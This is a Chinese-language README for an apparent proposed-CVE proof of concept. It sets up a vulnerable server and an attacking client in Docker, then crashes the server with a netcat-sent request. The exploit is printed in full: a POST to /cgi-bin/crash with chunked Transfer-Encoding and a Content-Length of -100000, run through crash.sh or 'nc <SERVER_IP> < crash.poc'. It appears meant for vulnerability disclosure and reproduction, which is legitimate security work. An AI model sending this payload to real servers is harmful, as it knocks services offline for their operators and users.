这是第一个提议的 CVE 的代码。
安装 Docker
构建并运行服务器 cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
获取服务器容器的 IP Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" 提取 IP 并将其添加到构建客户端的命令中 您可以通过在浏览器中访问 localhost:80 来检查服务器
构建并运行客户端 通过取消注释 Client/Dockerfile 中的 CMD,攻击将在容器启动时自动开始 cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
附加到客户端 Docker docker container ls find client/cve container && attach docker exec -it /bin/sh
准备好后发起攻击 ./crash.sh
服务器将无法响应
实际上没有必要提供带注释的源代码,因为这个漏洞利用代码非常短。
该漏洞利用包括使用 Netcat 向服务器发送一个带有较大的负 Content-Length 的 POST 请求,涉及 cgi-bin/ 目录中文件的处理。
执行过程使用一个简单的 netcat 脚本。这里引用了服务器 CGI-bin 文件夹中一个名为 Crash 的文件。 nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000